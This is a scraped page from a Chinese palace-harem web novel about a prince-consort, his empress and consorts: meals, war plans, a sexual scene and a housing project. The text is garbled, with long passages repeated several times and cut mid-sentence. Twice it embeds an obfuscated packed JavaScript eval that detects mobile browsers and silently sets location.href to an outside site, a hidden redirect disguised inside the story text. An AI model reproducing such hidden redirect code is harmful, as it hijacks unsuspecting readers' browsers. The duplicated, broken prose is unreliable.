这样旖旎的场面她是一分钟也不想多呆。 不多时,一阵环佩叮当声由远及近,司马椿蕾身着紫绿色宫裙,如同一朵盛开的鸢尾花,优雅地踏入殿中。 她发间的珠翠随着步伐轻轻晃动,裙摆上绣着的金线凤凰在阳光下熠熠生辉。 她是来陪慕容嫣吃早饭的,进门前听说林臻也在,她当即一喜。 然而当她看清林臻胸前浸透鲜血的绷带时,司马椿蕾手中的丝帕“啪嗒”掉在地上。 她踉跄着扑到榻前,紫绿色裙摆扫落了案上的茶盏,滚烫的茶水在青砖上蜿蜒成河。 “夫君!!您怎么会伤成这样!” 她的声音像是被掐住脖子的黄鹂,带着破碎的呜咽,颤抖的指尖悬在伤口上方,却又怕触碰会加剧他的疼痛,“前日见您还好好的,不过一夜功夫.” 大颗大颗的泪珠砸在林臻手背,晕开绷带边缘的血渍。 慕容嫣轻咳一声,凤目扫过司马椿蕾散落的鬓发:“还愣着做什么?去拿金疮药。” “啊?嗯!!”这声音惊醒了怔在原地的司马椿蕾,她忙不迭起身,发间的步摇歪到一边,取药时险些撞倒药柜。 再回来时,她跪坐在冰凉的地砖上,膝盖很快浸透寒气,却浑然不觉。 “夫君.疼吗?”她的声音细若蚊蝇,蘸着药膏的棉签悬在伤口上方迟迟不敢落下。 见林臻笑着摇头,说出事情经过。 司马椿蕾突然红了眼眶,手中的棉签在药碗里搅出一圈圈涟漪。 “王府那么多侍卫,兵马司也全都是当兵的,何苦要您亲自涉险?您可知,听闻起火的消息时,臣妾正在椒房殿练字,毛笔一下子戳破了宣纸,墨汁溅在《女诫》上,晕开好大一片.” 她哽咽着开始给林臻擦拭伤口,每擦一下都要抬头看他的表情,生怕弄疼了心上人。 林臻抬手想要拭去她的眼泪,却被她慌忙躲开。 司马椿蕾捧着他的手按在自己脸颊上,泪水沾湿他的掌心:“夫君莫动,伤口要裂开了。” “好了好了,夫君正准备说永乐坊重建的事情呢,你别打岔。”慕容嫣放下茶盏,鎏金护甲叩击杯沿发出清脆声响,顺便再把林臻作怪的手打到一边。 真是的,现在身体越来越敏感了,这才几分钟,内心就开始不上不下的。 司马椿蕾立刻噤声,像只受惊的兔子般缩在一旁,可泛红的 眼眶、微微颤抖的肩膀,无一不泄露着她的担忧。 林臻清了清嗓子,继续说道:“这个住宅楼与寻常房屋大不相同,工序很简单,但你们没见过,我回去得和灵儿好好琢磨一下。若一切顺利,明年就能落成,投入使用。” 说着,他伸手掐了掐司马椿蕾精致的鼻子,脸上笑意盈盈。 “到时候给你们单独修一栋!一人一间房,都能住进去!” 司马椿蕾终于破涕为笑,如春日里绽放的花朵般明艳动人,却又在慕容嫣开口时,慌忙低下头去绞着帕子。 慕容嫣不屑地撇了撇嘴,语气带着几分傲娇:“朕的皇宫比你的住宅好一千倍,朕才不去呢。” 林臻笑着摇了摇头,也不与她争辩,转而对司马椿蕾说道:“没事别总是在宫里憋着,常回家看看,你父母亲很想你,王府的几个姐妹也很想你。” “嗯,臣妾都听夫君的。”司马椿蕾感动地点点头,下意识地看了看慕容嫣的脸色,生怕自己的行为惹得陛下不悦。 谁料慕容嫣却挑了挑眉,似笑非笑地道:“夫君都下命令了,你看朕干什么?” 司马椿蕾闻言,脸上绽开灿烂的笑容,眉眼弯弯,满是欢喜。 “我们三人很久没吃顿饭了。”慕容嫣来了兴致,对外面喊道:“麝月,传饭。” “是!” 很快,一队宫女鱼贯而入,手中端着精致的菜肴,八珍玉食摆满了桌案。 眼眶、微微颤抖的肩膀,无一不泄露着她的担忧。 林臻清了清嗓子,继续说道:“这个住宅楼与寻常房屋大不相同,工序很简单,但你们没见过,我回去得和灵儿好好琢磨一下。若一切顺利,明年就能落成,投入使用。” 说着,他伸手掐了掐司马椿蕾精致的鼻子,脸上笑意盈盈。 “到时候给你们单独修一栋!一人一间房,都能住进去!” 司马椿蕾终于破涕为笑,如春日里绽放的花朵般明艳动人,却又在慕容嫣开口时,慌忙低下头去绞着帕子。 慕容嫣不屑地撇了撇嘴,语气带着几分傲娇:“朕的皇宫比你的住宅好一千倍,朕才不去呢。” 林臻笑着摇了摇头,也不与她争辩,转而对司马椿蕾说道:“没事别总是在宫里憋着,常回家看看,你父母亲很想你,王府的几个姐妹也很想你。” “嗯,臣妾都听夫君的。”司马椿蕾感动地点点头,下意识地看了看慕容嫣的脸色,生怕自己的行为惹得陛下不悦。 谁料慕容嫣却挑了挑眉,似笑非笑地道:“夫君都下命令了,你看朕干什么?” 司马椿蕾闻言,脸上绽开灿烂的笑容,眉眼弯弯,满是欢喜。 “我们三人很久没吃顿饭了。”慕容嫣来了兴致,对外面喊道:“麝月,传饭。” “是!” 很快,一队宫女鱼贯而入,手中端着精致的菜肴,八珍玉食摆满了桌案。 眼眶、微微颤抖的肩膀,无一不泄露着她的担忧。 林臻清了清嗓子,继续说道:“这个住宅楼与寻常房屋大不相同,工序很简单,但你们没见过,我回去得和灵儿好好琢磨一下。若一切顺利,明年就能落成,投入使用。” 说着,他伸手掐了掐司马椿蕾精致的鼻子,脸上笑意盈盈。 “到时候给你们单独修一栋!一人一间房,都能住进去!” 司马椿蕾终于破涕为笑,如春日里绽放的花朵般明艳动人,却又在慕容嫣开口时,慌忙低下头去绞着帕子。 慕容嫣不屑地撇了撇嘴,语气带着几分傲娇:“朕的皇宫比你的住宅好一千倍,朕才不去呢。” 林臻笑着摇了摇头,也不与她争辩,转而对司马椿蕾说道:“没事别总是在宫里憋着,常回家看看,你父母亲很想你,王府的几个姐妹也很想你。” “嗯,臣妾都听夫君的。”司马椿蕾感动地点点头,下意识地看了看慕容嫣的脸色,生怕自己的行为惹得陛下不悦。 谁料慕容嫣却挑了挑眉,似笑非笑地道:“夫君都下命令了,你看朕干什么?” 司马椿蕾闻言,脸上绽开灿烂的笑容,眉眼弯弯,满是欢喜。 “我们三人很久没吃顿饭了。”慕容嫣来了兴致,对外面喊道:“麝月,传饭。” “是!” 很快,一队宫女鱼贯而入,手中端着精致的菜肴,八珍玉食摆满了桌案。 眼眶、微微颤抖的肩膀,无一不泄露着她的担忧。 林臻清了清嗓子,继续说道:“这个住宅楼与寻常房屋大不相同,工序很简单,但你们没见过,我回去得和灵儿好好琢磨一下。若一切顺利,明年就能落成,投入使用。” 说着,他伸手掐了掐司马椿蕾精致的鼻子,脸上笑意盈盈。 “到时候给你们单独修一栋!一人一间房,都能住进去!” 司马椿蕾终于破涕为笑,如春日里绽放的花朵般明艳动人,却又在慕容嫣开口时,慌忙低下头去绞着帕子。 慕容嫣不屑地撇了撇嘴,语气带着几分傲娇:“朕的皇宫比你的住宅好一千倍,朕才不去呢。” 林臻笑着摇了摇头,也不与她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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很快,一队宫女鱼贯而入,手中端着精致的菜肴,八珍玉食摆满了桌案。 眼眶、微微颤抖的肩膀,无一不泄露着她的担忧。 林臻清了清嗓子,继续说道:“这个住宅楼与寻常房屋大不相同,工序很简单,但你们没见过,我回去得和灵儿好好琢磨一下。若一切顺利,明年就能落成,投入使用。” 说着,他伸手掐了掐司马椿蕾精致的鼻子,脸上笑意盈盈。 “到时候给你们单独修一栋!一人一间房,都能住进去!” 司马椿蕾终于破涕为笑,如春日里绽放的花朵般明艳动人,却又在慕容嫣开口时,慌忙低下头去绞着帕子。 慕容嫣不屑地撇了撇嘴,语气带着几分傲娇:“朕的皇宫比你的住宅好一千倍,朕才不去呢。” 林臻笑着摇了摇头,也不与她争辩,转而对司马椿蕾说道:“没事别总是在宫里憋着,常回家看看,你父母亲很想你,王府的几个姐妹也很想你。” “嗯,臣妾都听夫君的。”司马椿蕾感动地点点头,下意识地看了看慕容嫣的脸色,生怕自己的行为惹得陛下不悦。 谁料慕容嫣却挑了挑眉,似笑非笑地道:“夫君都下命令了,你看朕干什么?” 司马椿蕾闻言,脸上绽开灿烂的笑容,眉眼弯弯,满是欢喜。 “我们三人很久没吃顿饭了。”慕容嫣来了兴致,对外面喊道:“麝月,传饭。” “是!” 很快,一队宫女鱼贯而入,手中端着精致的菜肴,八珍玉食摆满了桌案。 眼眶、微微颤抖的肩膀,无一不泄露着她的担忧。 林臻清了清嗓子,继续说道:“这个住宅楼与寻常房屋大不相同,工序很简单,但你们没见过,我回去得和灵儿好好琢磨一下。若一切顺利,明年就能落成,投入使用。” 说着,他伸手掐了掐司马椿蕾精致的鼻子,脸上笑意盈盈。 “到时候给你们单独修一栋!一人一间房,都能住进去!” 司马椿蕾终于破涕为笑,如春日里绽放的花朵般明艳动人,却又在慕容嫣开口时,慌忙低下头去绞着帕子。 慕容嫣不屑地撇了撇嘴,语气带着几分傲娇:“朕的皇宫比你的住宅好一千倍,朕才不去呢。” 林臻笑着摇了摇头,也不与她争辩,转而对司马椿蕾说道:“没事别总是在宫里憋着,常回家看看,你父母亲很想你,王府的几个姐妹也很想你。” “嗯,臣妾都听夫君的。”司马椿蕾感动地点点头,下意识地看了看慕容嫣的脸色,生怕自己的行为惹得陛下不悦。 谁料慕容嫣却挑了挑眉,似笑非笑地道:“夫君都下命令了,你看朕干什么?” 司马椿蕾闻言,脸上绽开灿烂的笑容,眉眼弯弯,满是欢喜。 “我们三人很久没吃顿饭了。”慕容嫣来了兴致,对外面喊道:“麝月,传饭。” “是!” 很快,一队宫女鱼贯而入,手中端着精致的菜肴,八珍玉食摆满了桌案。 第486章 为夫还没吃饱呢 偏殿内鎏金蟠螭纹香炉正吞吐着青烟,龙脑香混着烧尾宴的珍馐气息在鲛绡帐幔间流转。 青玉雕花餐桌上,翡翠镶金边的食盒层层叠叠,最上层冰盘里的水晶虾饺泛着温润的光泽,虾仁隐约透出的嫣红在凝脂般的粉皮下若隐若现,仿若春日枝头半开的桃花。 司马椿蕾全然不觉眼前美食的诱人,她身着的紫绿色宫裙上金线绣就的并蒂莲随着呼吸微微起伏,发间九凤衔珠钗随着她低垂的动作轻轻摇晃,珍珠流苏几乎要扫到碗沿。 那双秋水般的杏眼死死盯着林臻胸前渗血的绷带,黛眉蹙成春山,樱唇微抿,指尖无意识地绞着帕子,将一方蜀锦绣帕揉得皱如残花。 林臻搁下羊脂玉箸,骨节分明的手夹起颤巍巍的虾饺,悬在她碗上方轻笑道:“这虾饺是御膳房李公公新创的‘水晶映月’,凉了可就不好吃了。” 温热的蒸汽扑在司马椿蕾脸上,她如梦初醒,苍白的脸颊瞬间染上胭脂色,露出比含露芍药更艳丽的笑容,梨涡深深地道:“谢夫君!” 她小口咬下虾饺,虾仁弹牙的触感与鲜美的汤汁在口中散开,却仍不忘时不时抬眼打量林臻的伤口。 慕容嫣将鎏金镶宝石的汤勺轻轻搁在玛瑙碗边,凤目扫过两人,指尖摩挲着碗沿由西域进贡的夜光琉璃,在烛光下流转出神秘的光晕。 “夫君,你不经常来宫里,你怎知这水晶映月?” “因为李公公是跟咱家厨娘学的。” “这”慕容嫣有些震惊,“堂堂御膳房总厨要去你家学做菜?” “不然你以为呢?” “真是荒谬!来人,把小李子吊起来打一顿,让他好好琢磨琢磨新菜,要是再敢跟王府学,朕要他脑袋!” “遵旨。” “诶诶诶,等会儿,你干什么啊?”林臻把人拦住。 太过分了,合着慕容嫣觉得皇宫里的一切才是最好的,别的稍微压过她都不行? 林臻说道:“嫣儿,你这脾气什么时候能改改?人家御膳房总厨学做菜,还不是为了讨好你啊?” “哼。”慕容嫣娇哼一声,抱着肩膀不说话了。 她不说话,林臻也不说话;林臻不说话,司马椿蕾就更不会说话了。 一时间偏殿内的气氛有些尴尬,站在角落里等待伺候的麝月更是大气都不敢喘。 也不知沉默了多久,慕容嫣长叹一声。 “唉,夫君啊,这次真的要打北燕吗?朕昨夜翻看户部奏折,今春赋税较往年虽有增长,但西北粮仓 因去岁雪灾尚未补足,朕还是觉得为时尚早。” 林臻放下青瓷茶盏,杯底与檀木桌碰撞出轻响,他挺直腰板,玄色锦袍上暗绣的**纹随着动作起伏:“北燕好战,尤其他们的皇帝更是如此,时不时的就要骚扰秦国边境。去年更是联合顾云松偷袭我大乾,是可忍孰不可忍。而之所以选择这个时候进攻北燕,是因为他们已经把大部分兵力都派到了雁门关剿匪,国内空虚,而我们则是经过两场大胜,兵锋正劲。只要我们偷袭成功,北燕必定灭亡。而我大乾的疆土,将再一次扩大。” “北燕那种苦寒之地,连雨都不下,就算扩张了又有什么用?” “这你就不懂了,北燕虽然与蛮蒙接壤,但地下有很多煤矿,尤其是雁门关一过的大同,煤炭储量几乎与东北相当,是难得的好地方。至于种地,谁说草原就不能开垦了?北面的人放牧,南边的人种地,互不打扰。” 说到这,林臻也叹了口气:“唉,这天下**太久,百姓饱受战乱之苦,我们不能把一统山河的重任推给后辈。能早一天是一天吧。” 慕容嫣点点头:“也罢,有你主外,朕很放心。家里的事情交给朕就好了。” “又不是着急的事情,所谓兵马未动,粮草先行。我已经命芦德豪准备战船,以商贾身份运送粮草了,估计再有十天,王爷就会出发。” 慕容嫣起身,看了看墙上的舆图,说道:“这一统天下的日子,越来越近了。” 言罢,她走出偏殿。 她是皇帝,肯定不能一直在这陪着,还要处理很多政务。 林臻看向司马椿蕾,突然捏住她精致的下巴,目光不断在她身上打量,尤其看到那没有慕容嫣宏伟,却依旧尺寸不小的胸前,贪婪地道:“美人,为夫还没吃饱呢。” “那臣妾再陪夫君吃点” “哈哈哈哈哈。” 林臻哈哈大笑,猛地伸手将她抱起,来到慕容嫣那张凤凰榻上。 倒不是林臻色急,非要大早上欺负司马椿蕾。 而是这妮子现在想孩子都快想疯了,刚才吃饭的时候就不断用手按压林臻,搞得林臻吃饭都没了兴趣。 她想当皇后,林臻还能帮她如愿,但林臻还是想让她更加名正言顺一点。 现在群臣都在刻意的回避后宫这个话题,因为他们都知道,现在不管是皇帝还是妃子,其实都是林臻的人。 这与古礼相悖。 如果非要掰扯,那就是王府世子祸乱宫闱,大逆不道,应该天打雷劈。 但是 他们不敢说,也没办法改变这个现实。 所以不管是为了活着还是为了大乾江山,他们都选择了闭嘴,即便知道林臻和那些女人的事情,他们也不会多管。 但是皇后不一样,古往今来,皇后都是天下之母。 而且皇后也必须得是皇帝的正房夫人才行。 可现在不管皇后还是皇帝都是林臻的老婆,这就没办法弄了,总不能说皇后和皇帝谈拉拉吧?这不乱了套了。 林臻见司马椿蕾一副享受事后余韵的表情,淡笑着起身,喊来雪琪。 “雪琪。” “来了。” 雪琪走进来,就看到林臻光溜溜地站在那,还张开手。 “雪琪,给我穿衣服。” “这”雪琪有些犹豫,攥着手绢冷在原地。 司马椿蕾脸色一变:“夫君让你穿衣服,你没听见?” “啊!是!”雪琪的脸已经红到脖子跟了,急匆匆拿来林臻的衣袍一件件上身。 林臻看她那娇羞的样子觉得有些好笑,身子扭了扭。 “啊!世子.世子您别乱动啊。” “你穿反了。” 不会穿衣服的林臻都知道自己内衬是反着穿的。 雪琪这才发现,连忙道歉:“奴婢知错,奴婢重新给您穿。” 司马椿蕾也没见雪琪这么害羞过,一时间还真有些新奇。 她把高高举起来的双腿落下,趴在床边,单手撑着下巴看她:“雪琪,你的脸好红啊。” “啊!?娘娘娘娘莫要取笑奴婢” “没有啊,你这应该不是第一个给夫君穿衣服吧?这次为什么脸红?” 那是因为前几次林臻都是穿着内裤的啊! 雪琪不敢回答。 只手忙脚乱地把林臻衣服穿好,然后向两人行了一礼,转身退了出去。 司马椿蕾笑道:“呵呵呵呵,以前雪琪总说见不到夫君,现在见到,反而害羞了。” “年轻丫头嘛,倒也正常。” “那你是说臣妾老了?” “没有啊,你挺紧的。” “去你的!”司马椿蕾翻个风情万种的白眼,转过身不再理他。 等了一会儿,发现身后没了动静。再转身过来时,林臻已经走了。 “啊?夫君!!” “真是的,也不告诉人家一声。”说完她赶紧起来,披了件单薄的外衫追了出去。 紫绿色裙摆扫过汉白玉台阶,发间珠翠叮当作响。 她看到了林臻正在前面,喊道:“夫君!你一定要好好养伤啊!” 林臻翻身上马,枣红马踏着满地碎金般的夕阳疾驰而去。 书院朱漆大门在暮色中缓缓打开,穿过种满墨竹的长廊,绕过刻着《劝学篇》的影壁,他轻轻推开楚惜灵房间的雕花木门。 屋内弥漫着淡淡的墨香与药香,楚惜灵侧卧在湘妃竹榻上,月白色中衣松松垮垮地披在身上,青丝如瀑散落在枕上,几缕碎发黏在苍白的脸颊。她手中还握着未完成的图纸,眉头微蹙,似是在梦中也在思索难题。 昨天因为救火,楚惜灵和林臻一样都是彻夜未眠,此刻困意袭来,林臻也打了个哈切。 他屏退丫鬟,脱下沾满尘土的外袍,轻手轻脚地在床边坐下。 床榻因他的动作微微晃动,楚惜灵睫毛轻颤,在朦胧间闻到熟悉的松香,下意识地翻身搂住他的腰,将脸埋进他怀里,梦呓般呢喃:“夫君.” 林臻心疼地搂住她,在她发顶落下一吻,低声道:“睡吧,一切有我。” 这种刚伺候完别的女人,再陪另一个女人睡觉的感觉很像你参加完同学聚会偷吃了之后回到家,搂着老婆睡觉时那样。 那种生怕被老婆闻出来其他女人的味道的感觉.真刺激。 楚惜灵应该是闻出来了,但是她没有介意,依旧把林臻搂得很紧。 两颗在众女中排名倒数第一的椒汝,贴着林臻的胸膛,很是惬意。 待两人醒来,窗外已是华灯初上。 林臻翻了个身,发现楚惜灵不在榻上。 他坐起来,靠在床头,低头一看。 早晨还触目惊心的伤口此刻已经开始结茧,估计再有一天就会彻底愈合。 这噬心蛊,是真的强大啊。 简直和外挂一样。 哦对,穿越文不兴外挂,都叫系统。 “吱呀”一声,门被推开,楚惜灵端着食盒走进来。 她刚沐浴过,青丝高高绾起,插着一支白玉兰簪,月白襦裙上绣着的青莲还带着水汽。 “夫君醒啦?我还想叫你起来呢。饿了一天,快尝尝我让厨房做的菜。” 她将食盒里的菜肴一一摆开,有翡翠白玉羹、水晶肴肉,还有林臻最爱吃的松鼠鳜鱼。 林臻看着满桌佳肴,拉着她的手让她坐下:“这点小事让下人去做就好了。” “我这哪有下人啊?就一个从楚国带来的丫头,还天天跑出去玩,整天看不到人影。” “这怎么能行?那也太 没规矩了。” “什么规矩不规矩的,她在楚国都憋坏了,好不容易有了自由,当然要多出去看看。”楚惜灵给林臻加了块鱼肉,放进他碗里,“你呀,还是少操这些闲心,多吃点饭。” 本尊都不在意,林臻自然不会多说什么。 不过他印象中,灵儿的贴身婢女好像见过一次,但具体长什么样儿已经不记得了。 林臻吃了点东西,没什么胃口,忽然想起永乐坊的事情,说道。 “灵儿,现在京城的人口越来越多,皇城周边已经不堪重负,既然永乐坊已经化为灰烬,不妨利用那里盖个住宅楼。” 楚惜灵眼睛一亮,从袖中掏出一卷图纸:“我也正有此意!只是这住宅楼与寻常建筑不同,供水排水是个大难题。若不能解决用水问题,即便盖好了房子,百姓也难以长久居住。” 林臻神秘一笑:“这点我早就想好了,我们可以用水车从永定河取水!雇佣百姓踩水车,将水引入住宅楼顶层的蓄水池。白天蓄水,晚上休息,不耽误百姓劳作。” 楚惜灵眼中满是惊喜:“人工踩车取水?这主意妙极了!我怎么就没想到呢.嘻嘻,还是夫君见多识广,不过管道怎么办?普通的陶管易碎,铜管又太过昂贵。” “用竹子做内管,外面浇铸铁皮。竹子韧性好,铁皮耐腐蚀,如此一来,坚持二十年不成问题。” 楚惜灵拍手叫好:“好!我正好有个学生叫苏明远,对建筑构造颇有天赋,让他协助绘制图纸,再由他来监工,想来定能事半功倍。” 两人用完饭,携手走出书院。 京城街道上灯火通明,各家饭馆门口都支起大锅,热气腾腾的米粥香气四溢。 几千百姓排着长队,手中拿着官府发放的陶碗,队伍中不时传来孩童的啼哭和老人的咳嗽声。 一位衣衫褴褛的妇人怀抱着襁褓中的婴儿,婴儿因饥饿啼哭不止,妇人只能轻轻摇晃,眼中满是无奈。 不远处,几个孩童蹲在墙角,啃着发硬的窝头,时不时抬头张望,眼神中充满对食物的渴望。 林臻和楚惜灵看着眼前的景象,心中五味杂陈。 楚惜灵握紧林臻的手:“夫君,这么下去恐怕不是办法,这粮食消耗太大了。” “这也是救急的办法,等我们的建筑施工队开始招人,他们就能在大食堂里吃饭了。” 没规矩了。” “什么规矩不规矩的,她在楚国都憋坏了,好不容易有了自由,当然要多出去看看。”楚惜灵给林臻加了块鱼肉,放进他碗里,“你呀,还是少操这些闲心,多吃点饭。” 本尊都不在意,林臻自然不会多说什么。 不过他印象中,灵儿的贴身婢女好像见过一次,但具体长什么样儿已经不记得了。 林臻吃了点东西,没什么胃口,忽然想起永乐坊的事情,说道。 “灵儿,现在京城的人口越来越多,皇城周边已经不堪重负,既然永乐坊已经化为灰烬,不妨利用那里盖个住宅楼。” 楚惜灵眼睛一亮,从袖中掏出一卷图纸:“我也正有此意!只是这住宅楼与寻常建筑不同,供水排水是个大难题。若不能解决用水问题,即便盖好了房子,百姓也难以长久居住。” 林臻神秘一笑:“这点我早就想好了,我们可以用水车从永定河取水!雇佣百姓踩水车,将水引入住宅楼顶层的蓄水池。白天蓄水,晚上休息,不耽误百姓劳作。” 楚惜灵眼中满是惊喜:“人工踩车取水?这主意妙极了!我怎么就没想到呢.嘻嘻,还是夫君见多识广,不过管道怎么办?普通的陶管易碎,铜管又太过昂贵。” “用竹子做内管,外面浇铸铁皮。竹子韧性好,铁皮耐腐蚀,如此一来,坚持二十年不成问题。” 楚惜灵拍手叫好:“好!我正好有个学生叫苏明远,对建筑构造颇有天赋,让他协助绘制图纸,再由他来监工,想来定能事半功倍。” 两人用完饭,携手走出书院。 京城街道上灯火通明,各家饭馆门口都支起大锅,热气腾腾的米粥香气四溢。 几千百姓排着长队,手中拿着官府发放的陶碗,队伍中不时传来孩童的啼哭和老人的咳嗽声。 一位衣衫褴褛的妇人怀抱着襁褓中的婴儿,婴儿因饥饿啼哭不止,妇人只能轻轻摇晃,眼中满是无奈。 不远处,几个孩童蹲在墙角,啃着发硬的窝头,时不时抬头张望,眼神中充满对食物的渴望。 林臻和楚惜灵看着眼前的景象,心中五味杂陈。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15552541|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 楚惜灵握紧林臻的手:“夫君,这么下去恐怕不是办法,这粮食消耗太大了。” “这也是救急的办法,等我们的建筑施工队开始招人,他们就能在大食堂里吃饭了。” 没规矩了。” “什么规矩不规矩的,她在楚国都憋坏了,好不容易有了自由,当然要多出去看看。”楚惜灵给林臻加了块鱼肉,放进他碗里,“你呀,还是少操这些闲心,多吃点饭。” 本尊都不在意,林臻自然不会多说什么。 不过他印象中,灵儿的贴身婢女好像见过一次,但具体长什么样儿已经不记得了。 林臻吃了点东西,没什么胃口,忽然想起永乐坊的事情,说道。 “灵儿,现在京城的人口越来越多,皇城周边已经不堪重负,既然永乐坊已经化为灰烬,不妨利用那里盖个住宅楼。” 楚惜灵眼睛一亮,从袖中掏出一卷图纸:“我也正有此意!只是这住宅楼与寻常建筑不同,供水排水是个大难题。若不能解决用水问题,即便盖好了房子,百姓也难以长久居住。” 林臻神秘一笑:“这点我早就想好了,我们可以用水车从永定河取水!雇佣百姓踩水车,将水引入住宅楼顶层的蓄水池。白天蓄水,晚上休息,不耽误百姓劳作。” 楚惜灵眼中满是惊喜:“人工踩车取水?这主意妙极了!我怎么就没想到呢.嘻嘻,还是夫君见多识广,不过管道怎么办?普通的陶管易碎,铜管又太过昂贵。” “用竹子做内管,外面浇铸铁皮。竹子韧性好,铁皮耐腐蚀,如此一来,坚持二十年不成问题。” 楚惜灵拍手叫好:“好!我正好有个学生叫苏明远,对建筑构造颇有天赋,让他协助绘制图纸,再由他来监工,想来定能事半功倍。” 两人用完饭,携手走出书院。 京城街道上灯火通明,各家饭馆门口都支起大锅,热气腾腾的米粥香气四溢。 几千百姓排着长队,手中拿着官府发放的陶碗,队伍中不时传来孩童的啼哭和老人的咳嗽声。 一位衣衫褴褛的妇人怀抱着襁褓中的婴儿,婴儿因饥饿啼哭不止,妇人只能轻轻摇晃,眼中满是无奈。 不远处,几个孩童蹲在墙角,啃着发硬的窝头,时不时抬头张望,眼神中充满对食物的渴望。 林臻和楚惜灵看着眼前的景象,心中五味杂陈。 楚惜灵握紧林臻的手:“夫君,这么下去恐怕不是办法,这粮食消耗太大了。” “这也是救急的办法,等我们的建筑施工队开始招人,他们就能在大食堂里吃饭了。” 没规矩了。” “什么规矩不规矩的,她在楚国都憋坏了,好不容易有了自由,当然要多出去看看。”楚惜灵给林臻加了块鱼肉,放进他碗里,“你呀,还是少操这些闲心,多吃点饭。” 本尊都不在意,林臻自然不会多说什么。 不过他印象中,灵儿的贴身婢女好像见过一次,但具体长什么样儿已经不记得了。 林臻吃了点东西,没什么胃口,忽然想起永乐坊的事情,说道。 “灵儿,现在京城的人口越来越多,皇城周边已经不堪重负,既然永乐坊已经化为灰烬,不妨利用那里盖个住宅楼。” 楚惜灵眼睛一亮,从袖中掏出一卷图纸:“我也正有此意!只是这住宅楼与寻常建筑不同,供水排水是个大难题。若不能解决用水问题,即便盖好了房子,百姓也难以长久居住。” 林臻神秘一笑:“这点我早就想好了,我们可以用水车从永定河取水!雇佣百姓踩水车,将水引入住宅楼顶层的蓄水池。白天蓄水,晚上休息,不耽误百姓劳作。” 楚惜灵眼中满是惊喜:“人工踩车取水?这主意妙极了!我怎么就没想到呢.嘻嘻,还是夫君见多识广,不过管道怎么办?普通的陶管易碎,铜管又太过昂贵。” “用竹子做内管,外面浇铸铁皮。竹子韧性好,铁皮耐腐蚀,如此一来,坚持二十年不成问题。” 楚惜灵拍手叫好:“好!我正好有个学生叫苏明远,对建筑构造颇有天赋,让他协助绘制图纸,再由他来监工,想来定能事半功倍。” 两人用完饭,携手走出书院。 京城街道上灯火通明,各家饭馆门口都支起大锅,热气腾腾的米粥香气四溢。 几千百姓排着长队,手中拿着官府发放的陶碗,队伍中不时传来孩童的啼哭和老人的咳嗽声。 一位衣衫褴褛的妇人怀抱着襁褓中的婴儿,婴儿因饥饿啼哭不止,妇人只能轻轻摇晃,眼中满是无奈。 不远处,几个孩童蹲在墙角,啃着发硬的窝头,时不时抬头张望,眼神中充满对食物的渴望。 林臻和楚惜灵看着眼前的景象,心中五味杂陈。 楚惜灵握紧林臻的手:“夫君,这么下去恐怕不是办法,这粮食消耗太大了。” “这也是救急的办法,等我们的建筑施工队开始招人,他们就能在大食堂里吃饭了。” 没规矩了。” “什么规矩不规矩的,她在楚国都憋坏了,好不容易有了自由,当然要多出去看看。”楚惜灵给林臻加了块鱼肉,放进他碗里,“你呀,还是少操这些闲心,多吃点饭。” 本尊都不在意,林臻自然不会多说什么。 不过他印象中,灵儿的贴身婢女好像见过一次,但具体长什么样儿已经不记得了。 林臻吃了点东西,没什么胃口,忽然想起永乐坊的事情,说道。 “灵儿,现在京城的人口越来越多,皇城周边已经不堪重负,既然永乐坊已经化为灰烬,不妨利用那里盖个住宅楼。” 楚惜灵眼睛一亮,从袖中掏出一卷图纸:“我也正有此意!只是这住宅楼与寻常建筑不同,供水排水是个大难题。若不能解决用水问题,即便盖好了房子,百姓也难以长久居住。” 林臻神秘一笑:“这点我早就想好了,我们可以用水车从永定河取水!雇佣百姓踩水车,将水引入住宅楼顶层的蓄水池。白天蓄水,晚上休息,不耽误百姓劳作。” 楚惜灵眼中满是惊喜:“人工踩车取水?这主意妙极了!我怎么就没想到呢.嘻嘻,还是夫君见多识广,不过管道怎么办?普通的陶管易碎,铜管又太过昂贵。” “用竹子做内管,外面浇铸铁皮。竹子韧性好,铁皮耐腐蚀,如此一来,坚持二十年不成问题。” 楚惜灵拍手叫好:“好!我正好有个学生叫苏明远,对建筑构造颇有天赋,让他协助绘制图纸,再由他来监工,想来定能事半功倍。” 两人用完饭,携手走出书院。 京城街道上灯火通明,各家饭馆门口都支起大锅,热气腾腾的米粥香气四溢。 几千百姓排着长队,手中拿着官府发放的陶碗,队伍中不时传来孩童的啼哭和老人的咳嗽声。 一位衣衫褴褛的妇人怀抱着襁褓中的婴儿,婴儿因饥饿啼哭不止,妇人只能轻轻摇晃,眼中满是无奈。 不远处,几个孩童蹲在墙角,啃着发硬的窝头,时不时抬头张望,眼神中充满对食物的渴望。 林臻和楚惜灵看着眼前的景象,心中五味杂陈。 楚惜灵握紧林臻的手:“夫君,这么下去恐怕不是办法,这粮食消耗太大了。” “这也是救急的办法,等我们的建筑施工队开始招人,他们就能在大食堂里吃饭了。” 第487章 生孩子 准备,但还是被这突如其来的消息吓一跳,随即猛地站起身来,顾不上整理案头的文书,大步流星地朝着产房的方向跑去。 院子里,阳光透过桃树的枝桠洒下斑驳的光影。 孙神医的几位徒弟神色严肃地站在产房外,他们身着统一的青灰色长袍,手中拿着各种医用药材和器具,随时准备听从师父的吩咐。 当家主母上官婉儿则坐在不远处的亭子里,一袭白色长裙衬得她清冷动人。 她双手交叠放在腿上,双眼微闭,正在凝神静心,试图让自己保持平静,但微微颤抖的指尖还是泄露了她内心的紧张。 这是王府的第一个孩子,不管是男是女,地位都举足轻重,不能出一点点意外。 